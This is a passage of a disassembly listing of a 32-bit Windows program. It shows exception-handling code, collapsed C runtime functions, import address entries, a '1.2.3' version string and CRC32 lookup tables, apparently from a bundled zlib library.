		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_60709D:				; DATA XREF: .rdata:stru_60CC58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_6070A0:				; CODE XREF: sub_60706C+27j
					; sub_60706C+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_60707F
; ---------------------------------------------------------------------------


loc_6070AA:				; CODE XREF: sub_60706C+1Aj
		call	__SEH_epilog
		retn
sub_60706C	endp

; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_607FC5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_607FB1	proc near		; DATA XREF: .rdata:stru_60D1F0o
		xor	eax, eax
		inc	eax
		retn
sub_607FB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_607FB5	proc near		; DATA XREF: .rdata:stru_60D1F0o
		mov	esp, [ebp-18h]
sub_607FB5	endp ; sp-analysis failed

; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_607FC5. PRESS KEYPAD	"+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION sub_607FC5. PRESS	KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_612AD4
		jmp	short loc_6080F8
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+"	TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO	EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+"	TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_608D9E	proc near		; CODE XREF: __global_unwind2+13p
		jmp	ds:dword_609090
sub_608D9E	endp

_text		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 000048C6 (  18630.)
; Section size in file		: 000048C6 (  18630.)
; Offset to raw	data for section: 00009000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 609000h
dword_609000	dd 77E75CB5h		; DATA XREF: WinMain(x,x,x,x)+15Er
					; unknown_libname_1+29r ...
dword_609004	dd 77E7980Ah		; DATA XREF: WinMain(x,x,x,x)+F2r
					; ___sbh_alloc_new_region+7Er ...
dword_609008	dd 77F516F8h		; DATA XREF: WinMain(x,x,x,x)+91r
					; __heap_alloc+3Er ...
dword_60900C	dd 77E77CB7h		; DATA XREF: WinMain(x,x,x,x)+8Ar
dword_609010	dd 77E61BB8h		; DATA XREF: WinMain(x,x,x,x)+77r
dword_609014	dd 77E7A099h		; DATA XREF: WinMain(x,x,x,x)+57r
					; __NMSG_WRITE+81r ...
dword_609018	dd 77F51597h		; DATA XREF: _free+30r
					; ___sbh_free_block+2B4r ...
dword_60901C	dd 77E79F93h		; DATA XREF: start+6Dr
					; unknown_libname_1+5r
dword_609020	dd 77E6177Ah		; DATA XREF: start+160r __ioinit+57r
dword_609024	dd 77E7C938h		; DATA XREF: start:loc_60582Ar
dword_609028	dd 77E7C657h		; DATA XREF: start+20r
dword_60902C	dd 77E76E0Bh		; DATA XREF: __heap_init+44r
dword_609030	dd 77E7C726h		; DATA XREF: __heap_init+11r
dword_609034	dd 77E79E34h		; DATA XREF: ___sbh_free_block+22Fr
dword_609038	dd 77F5722Fh		; DATA XREF: ___sbh_alloc_new_region+27r
					; _realloc+FDr	...
dword_60903C	dd 77E7A5FDh		; DATA XREF: unknown_libname_1+15r
					; ___crtMessageBoxA+28r
dword_609040	dd 77E616B4h		; DATA XREF: _doexit+1Ar
dword_609044	dd 77E79C90h		; DATA XREF: _doexit+13r
dword_609048	dd 77E79D8Ch		; DATA XREF: __NMSG_WRITE+155r
dword_60904C	dd 77E79C3Dh		; DATA XREF: __NMSG_WRITE+14Er
					; __ioinit+157r
dword_609050	dd 77EB9A84h		; DATA XREF: __XcptFilter+167r
dword_609054	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+113r
dword_609058	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_606E32r
dword_60905C	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+C1r
dword_609060	dd 77E79924h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_606DCAr
					; ___convertcp+139r ...
dword_609064	dd 77F5157Dh		; DATA XREF: ___crtGetEnvironmentStringsA:loc_606D8Br
					; ___crtGetStringTypeA:loc_607301r ...
dword_609068	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+Br
dword_60906C	dd 77E7C931h		; DATA XREF: __ioinit+19Cr
dword_609070	dd 77E78406h		; DATA XREF: __ioinit+FEr
					; __ioinit+165r
dword_609074	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+19Cr
dword_609078	dd 77E77CCEh		; DATA XREF: ___crtGetStringTypeA+98r
					; ___crtGetStringTypeA+116r ...
dword_60907C	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+24r
					; ___crtGetStringTypeA+128r
dword_609080	dd 77E7A13Fh		; DATA XREF: __setmbcp+42r
dword_609084	dd 77E6C703h		; DATA XREF: __setmbcp+2Br
dword_609088	dd 77E7849Fh		; DATA XREF: _setSBUpLow+1Cr
					; __setmbcp+93r ...
dword_60908C	dd 77E805D8h		; DATA XREF: ___crtMessageBoxA+18r
dword_609090	dd 77F6183Eh		; DATA XREF: sub_608D9Er
dword_609094	dd 77E775F1h		; DATA XREF: __ValidateEH3RN+131r
					; __ValidateEH3RN+196r	...
dword_609098	dd 77E7F044h		; DATA XREF: __ValidateEH3RN+B3r
					; __resetstkoflw+1Ar ...
dword_60909C	dd 77E7513Ch		; DATA XREF: ___ansicp+20r
dword_6090A0	dd 77E6169Ah		; DATA XREF: __resetstkoflw+D5r
dword_6090A4	dd 77E7C3A5h		; DATA XREF: __resetstkoflw+2Br
dword_6090A8	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+2C3r
					; ___crtLCMapStringA+344r ...
dword_6090AC	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+27r
					; ___crtLCMapStringA+15Br ...
dword_6090B0	dd 77F522F2h		; DATA XREF: __msize+30r
dword_6090B4	dd 77E802FCh		; DATA XREF: ___security_init_cookie+43r
dword_6090B8	dd 77E7751Ah		; DATA XREF: ___security_init_cookie+37r
dword_6090BC	dd 77E77CC4h		; DATA XREF: ___security_init_cookie+2Fr
dword_6090C0	dd 77E80656h		; DATA XREF: ___security_init_cookie+27r
dword_6090C4	dd 77E6167Bh		; DATA XREF: ___security_init_cookie+1Br
		align 10h
a1_2_3		db '1.2.3',0            ; DATA XREF: sub_60510C+2Eo
		align 4
dword_6090D8	dd 0			; DATA XREF: sub_6013A6+25r
					; sub_6013A6+6Br ...
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_6094D8	dd 0			; DATA XREF: sub_6013A6+55r
					; sub_6013A6+86r ...
		dd 191B3141h, 32366282h, 2B2D53C3h, 646CC504h, 7D77F445h
		dd 565AA786h, 4F4196C7h, 0C8D98A08h, 0D1C2BB49h, 0FAEFE88Ah
		dd 0E3F4D9CBh, 0ACB54F0Ch, 0B5AE7E4Dh, 9E832D8Eh, 87981CCFh
		dd 4AC21251h, 53D92310h, 78F470D3h, 61EF4192h, 2EAED755h
		dd 37B5E614h, 1C98B5D7h, 5838496h, 821B9859h, 9B00A918h
		dd 0B02DFADBh, 0A936CB9Ah, 0E6775D5Dh, 0FF6C6C1Ch, 0D4413FDFh
		dd 0CD5A0E9Eh, 958424A2h, 8C9F15E3h, 0A7B24620h, 0BEA97761h
		dd 0F1E8E1A6h, 0E8F3D0E7h, 0C3DE8324h, 0DAC5B265h, 5D5DAEAAh
		dd 44469FEBh, 6F6BCC28h, 7670FD69h, 39316BAEh, 202A5AEFh
		dd 0B07092Ch, 121C386Dh, 0DF4636F3h, 0C65D07B2h, 0ED705471h
		dd 0F46B6530h, 0BB2AF3F7h, 0A231C2B6h, 891C9175h, 9007A034h
		dd 179FBCFBh, 0E848DBAh, 25A9DE79h, 3CB2EF38h, 73F379FFh
		dd 6AE848BEh, 41C51B7Dh, 58DE2A3Ch, 0F0794F05h,	0E9627E44h
		dd 0C24F2D87h, 0DB541CC6h, 94158A01h, 8D0EBB40h, 0A623E883h
		dd 0BF38D9C2h, 38A0C50Dh, 21BBF44Ch, 0A96A78Fh,	138D96CEh
		dd 5CCC0009h, 45D73148h, 6EFA628Bh, 77E153CAh, 0BABB5D54h
		dd 0A3A06C15h, 888D3FD6h, 91960E97h, 0DED79850h, 0C7CCA911h
		dd 0ECE1FAD2h, 0F5FACB93h, 7262D75Ch, 6B79E61Dh, 4054B5DEh
		dd 594F849Fh, 160E1258h, 0F152319h, 243870DAh, 3D23419Bh
		dd 65FD6BA7h, 7CE65AE6h, 57CB0925h, 4ED03864h, 191AEA3h
		dd 188A9FE2h, 33A7CC21h, 2ABCFD60h, 0AD24E1AFh,	0B43FD0EEh
		dd 9F12832Dh, 8609B26Ch, 0C94824ABh, 0D05315EAh, 0FB7E4629h
		dd 0E2657768h, 2F3F79F6h, 362448B7h, 1D091B74h,	4122A35h
		dd 4B53BCF2h, 52488DB3h, 7965DE70h, 607EEF31h, 0E7E6F3FEh
		dd 0FEFDC2BFh, 0D5D0917Ch, 0CCCBA03Dh, 838A36FAh, 9A9107BBh
		dd 0B1BC5478h, 0A8A76539h, 3B83984Bh, 2298A90Ah, 9B5FAC9h
		dd 10AECB88h, 5FEF5D4Fh, 46F46C0Eh, 6DD93FCDh, 74C20E8Ch
		dd 0F35A1243h, 0EA412302h, 0C16C70C1h, 0D8774180h, 9736D747h
		dd 8E2DE606h, 0A500B5C5h, 0BC1B8484h, 71418A1Ah, 685ABB5Bh
		dd 4377E898h, 5A6CD9D9h, 152D4F1Eh, 0C367E5Fh, 271B2D9Ch
		dd 3E001CDDh, 0B9980012h, 0A0833153h, 8BAE6290h, 92B553D1h
		dd 0DDF4C516h, 0C4EFF457h, 0EFC2A794h, 0F6D996D5h, 0AE07BCE9h
		dd 0B71C8DA8h, 9C31DE6Bh, 852AEF2Ah, 0CA6B79EDh, 0D37048ACh
		dd 0F85D1B6Fh, 0E1462A2Eh, 66DE36E1h, 7FC507A0h, 54E85463h
		dd 4DF36522h, 2B2F3E5h,	1BA9C2A4h, 30849167h, 299FA026h
		dd 0E4C5AEB8h, 0FDDE9FF9h, 0D6F3CC3Ah, 0CFE8FD7Bh, 80A96BBCh
		dd 99B25AFDh, 0B29F093Eh, 0AB84387Fh, 2C1C24B0h, 350715F1h
		dd 1E2A4632h, 7317773h,	4870E1B4h, 516BD0F5h, 7A468336h
		dd 635DB277h, 0CBFAD74Eh, 0D2E1E60Fh, 0F9CCB5CCh, 0E0D7848Dh
		dd 0AF96124Ah, 0B68D230Bh, 9DA070C8h, 84BB4189h, 3235D46h
		dd 1A386C07h, 31153FC4h, 280E0E85h, 674F9842h, 7E54A903h
		dd 5579FAC0h, 4C62CB81h, 8138C51Fh, 9823F45Eh, 0B30EA79Dh
		dd 0AA1596DCh, 0E554001Bh, 0FC4F315Ah, 0D7626299h, 0CE7953D8h
		dd 49E14F17h, 50FA7E56h, 7BD72D95h, 62CC1CD4h, 2D8D8A13h
		dd 3496BB52h, 1FBBE891h, 6A0D9D0h, 5E7EF3ECh, 4765C2ADh
		dd 6C48916Eh, 7553A02Fh, 3A1236E8h, 230907A9h, 824546Ah
		dd 113F652Bh, 96A779E4h, 8FBC48A5h, 0A4911B66h,	0BD8A2A27h
		dd 0F2CBBCE0h, 0EBD08DA1h, 0C0FDDE62h, 0D9E6EF23h, 14BCE1BDh
		dd 0DA7D0FCh, 268A833Fh, 3F91B27Eh, 70D024B9h, 69CB15F8h
		dd 42E6463Bh, 5BFD777Ah, 0DC656BB5h, 0C57E5AF4h, 0EE530937h
		dd 0F7483876h, 0B809AEB1h, 0A1129FF0h, 8A3FCC33h, 9324FD72h
dword_6098D8	dd 0			; DATA XREF: sub_6013A6+5Fr
					; sub_6013A6+90r ...
		dd 1C26A37h, 384D46Eh, 246BE59h, 709A8DCh, 6CBC2EBh, 48D7CB2h
		dd 54F1685h, 0E1351B8h,	0FD13B8Fh, 0D9785D6h, 0C55EFE1h
		dd 91AF964h, 8D89353h, 0A9E2D0Ah, 0B5C473Dh, 1C26A370h
		dd 1DE4C947h, 1FA2771Eh, 1E601D29h, 1B2F0BACh, 1AED619Bh
		dd 18ABDFC2h, 1969B5F5h, 1235F2C8h, 13F798FFh, 11B126A6h
		dd 10734C91h, 153C5A14h, 14FE3023h, 16B88E7Ah, 177AE44Dh
		dd 384D46E0h, 398F2CD7h, 3BC9928Eh, 3A0BF8B9h, 3F44EE3Ch
		dd 3E86840Bh, 3CC03A52h, 3D025065h, 365E1758h, 379C7D6Fh
		dd 35DAC336h, 3418A901h, 3157BF84h, 3095D5B3h, 32D36BEAh
		dd 331101DDh, 246BE590h, 25A98FA7h, 27EF31FEh, 262D5BC9h
		dd 23624D4Ch, 22A0277Bh, 20E69922h, 2124F315h, 2A78B428h
		dd 2BBADE1Fh, 29FC6046h, 283E0A71h, 2D711CF4h, 2CB376C3h
		dd 2EF5C89Ah, 2F37A2ADh, 709A8DC0h, 7158E7F7h, 731E59AEh
		dd 72DC3399h, 7793251Ch, 76514F2Bh, 7417F172h, 75D59B45h
		dd 7E89DC78h, 7F4BB64Fh, 7D0D0816h, 7CCF6221h, 798074A4h
		dd 78421E93h, 7A04A0CAh, 7BC6CAFDh, 6CBC2EB0h, 6D7E4487h
		dd 6F38FADEh, 6EFA90E9h, 6BB5866Ch, 6A77EC5Bh, 68315202h
		dd 69F33835h, 62AF7F08h, 636D153Fh, 612BAB66h, 60E9C151h
		dd 65A6D7D4h, 6464BDE3h, 662203BAh, 67E0698Dh, 48D7CB20h
		dd 4915A117h, 4B531F4Eh, 4A917579h, 4FDE63FCh, 4E1C09CBh
		dd 4C5AB792h, 4D98DDA5h, 46C49A98h, 4706F0AFh, 45404EF6h
		dd 448224C1h, 41CD3244h, 400F5873h, 4249E62Ah, 438B8C1Dh
		dd 54F16850h, 55330267h, 5775BC3Eh, 56B7D609h, 53F8C08Ch
		dd 523AAABBh, 507C14E2h, 51BE7ED5h, 5AE239E8h, 5B2053DFh
		dd 5966ED86h, 58A487B1h, 5DEB9134h, 5C29FB03h, 5E6F455Ah
		dd 5FAD2F6Dh, 0E1351B80h, 0E0F771B7h, 0E2B1CFEEh, 0E373A5D9h
		dd 0E63CB35Ch, 0E7FED96Bh, 0E5B86732h, 0E47A0D05h, 0EF264A38h
		dd 0EEE4200Fh, 0ECA29E56h, 0ED60F461h, 0E82FE2E4h, 0E9ED88D3h
		dd 0EBAB368Ah, 0EA695CBDh, 0FD13B8F0h, 0FCD1D2C7h, 0FE976C9Eh
		dd 0FF5506A9h, 0FA1A102Ch, 0FBD87A1Bh, 0F99EC442h, 0F85CAE75h
		dd 0F300E948h, 0F2C2837Fh, 0F0843D26h, 0F1465711h, 0F4094194h
		dd 0F5CB2BA3h, 0F78D95FAh, 0F64FFFCDh, 0D9785D60h, 0D8BA3757h
		dd 0DAFC890Eh, 0DB3EE339h, 0DE71F5BCh, 0DFB39F8Bh, 0DDF521D2h
		dd 0DC374BE5h, 0D76B0CD8h, 0D6A966EFh, 0D4EFD8B6h, 0D52DB281h
		dd 0D062A404h, 0D1A0CE33h, 0D3E6706Ah, 0D2241A5Dh, 0C55EFE10h
		dd 0C49C9427h, 0C6DA2A7Eh, 0C7184049h, 0C25756CCh, 0C3953CFBh
		dd 0C1D382A2h, 0C011E895h, 0CB4DAFA8h, 0CA8FC59Fh, 0C8C97BC6h
		dd 0C90B11F1h, 0CC440774h, 0CD866D43h, 0CFC0D31Ah, 0CE02B92Dh
		dd 91AF9640h, 906DFC77h, 922B422Eh, 93E92819h, 96A63E9Ch
		dd 976454ABh, 9522EAF2h, 94E080C5h, 9FBCC7F8h, 9E7EADCFh
		dd 9C381396h, 9DFA79A1h, 98B56F24h, 99770513h, 9B31BB4Ah
		dd 9AF3D17Dh, 8D893530h, 8C4B5F07h, 8E0DE15Eh, 8FCF8B69h
		dd 8A809DECh, 8B42F7DBh, 89044982h, 88C623B5h, 839A6488h
		dd 82580EBFh, 801EB0E6h, 81DCDAD1h, 8493CC54h, 8551A663h
		dd 8717183Ah, 86D5720Dh, 0A9E2D0A0h, 0A820BA97h, 0AA6604CEh
		dd 0ABA46EF9h, 0AEEB787Ch, 0AF29124Bh, 0AD6FAC12h, 0ACADC625h
		dd 0A7F18118h, 0A633EB2Fh, 0A4755576h, 0A5B73F41h, 0A0F829C4h
		dd 0A13A43F3h, 0A37CFDAAh, 0A2BE979Dh, 0B5C473D0h, 0B40619E7h
		dd 0B640A7BEh, 0B782CD89h, 0B2CDDB0Ch, 0B30FB13Bh, 0B1490F62h
		dd 0B08B6555h, 0BBD72268h, 0BA15485Fh, 0B853F606h, 0B9919C31h
		dd 0BCDE8AB4h, 0BD1CE083h, 0BF5A5EDAh, 0BE9834EDh
dword_609CD8	dd 0			; DATA XREF: sub_6013A6+74r
					; sub_6013A6+A5r ...
		dd 0B8BC6765h, 0AA09C88Bh, 12B5AFEEh, 8F629757h, 37DEF032h
		dd 256B5FDCh, 9DD738B9h, 0C5B428EFh, 7D084F8Ah,	6FBDE064h
		dd 0D7018701h, 4AD6BFB8h, 0F26AD8DDh, 0E0DF7733h, 58631056h
		dd 5019579Fh, 0E8A530FAh, 0FA109F14h, 42ACF871h, 0DF7BC0C8h
		dd 67C7A7ADh, 75720843h, 0CDCE6F26h, 95AD7F70h,	2D111815h
		dd 3FA4B7FBh, 8718D09Eh, 1ACFE827h, 0A2738F42h,	0B0C620ACh
		dd 87A47C9h, 0A032AF3Eh, 188EC85Bh, 0A3B67B5h, 0B28700D0h
		dd 2F503869h, 97EC5F0Ch, 8559F0E2h, 3DE59787h, 658687D1h
		dd 0DD3AE0B4h, 0CF8F4F5Ah, 7733283Fh, 0EAE41086h, 525877E3h
		dd 40EDD80Dh, 0F851BF68h, 0F02BF8A1h, 48979FC4h, 5A22302Ah
		dd 0E29E574Fh, 7F496FF6h, 0C7F50893h, 0D540A77Dh, 6DFCC018h
		dd 359FD04Eh, 8D23B72Bh, 9F9618C5h, 272A7FA0h, 0BAFD4719h
		dd 241207Ch, 10F48F92h,	0A848E8F7h, 9B14583Dh, 23A83F58h
		dd 311D90B6h, 89A1F7D3h, 1476CF6Ah, 0ACCAA80Fh,	0BE7F07E1h
		dd 6C36084h, 5EA070D2h,	0E61C17B7h, 0F4A9B859h,	4C15DF3Ch
		dd 0D1C2E785h, 697E80E0h, 7BCB2F0Eh, 0C377486Bh, 0CB0D0FA2h
		dd 73B168C7h, 6104C729h, 0D9B8A04Ch, 446F98F5h,	0FCD3FF90h
		dd 0EE66507Eh, 56DA371Bh, 0EB9274Dh, 0B6054028h, 0A4B0EFC6h
		dd 1C0C88A3h, 81DBB01Ah, 3967D77Fh, 2BD27891h, 936E1FF4h
		dd 3B26F703h, 839A9066h, 912F3F88h, 299358EDh, 0B4446054h
		dd 0CF80731h, 1E4DA8DFh, 0A6F1CFBAh, 0FE92DFECh, 462EB889h
		dd 549B1767h, 0EC277002h, 71F048BBh, 0C94C2FDEh, 0DBF98030h
		dd 6345E755h, 6B3FA09Ch, 0D383C7F9h, 0C1366817h, 798A0F72h
		dd 0E45D37CBh, 5CE150AEh, 4E54FF40h, 0F6E89825h, 0AE8B8873h
		dd 1637EF16h, 48240F8h,	0BC3E279Dh, 21E91F24h, 99557841h
		dd 8BE0D7AFh, 335CB0CAh, 0ED59B63Bh, 55E5D15Eh,	47507EB0h
		dd 0FFEC19D5h, 623B216Ch, 0DA874609h, 0C832E9E7h, 708E8E82h
		dd 28ED9ED4h, 9051F9B1h, 82E4565Fh, 3A58313Ah, 0A78F0983h
		dd 1F336EE6h, 0D86C108h, 0B53AA66Dh, 0BD40E1A4h, 5FC86C1h
		dd 1749292Fh, 0AFF54E4Ah, 322276F3h, 8A9E1196h,	982BBE78h
		dd 2097D91Dh, 78F4C94Bh, 0C048AE2Eh, 0D2FD01C0h, 6A4166A5h
		dd 0F7965E1Ch, 4F2A3979h, 5D9F9697h, 0E523F1F2h, 4D6B1905h
		dd 0F5D77E60h, 0E762D18Eh, 5FDEB6EBh, 0C2098E52h, 7AB5E937h
		dd 680046D9h, 0D0BC21BCh, 88DF31EAh, 3063568Fh,	22D6F961h
		dd 9A6A9E04h, 7BDA6BDh,	0BF01C1D8h, 0ADB46E36h,	15080953h
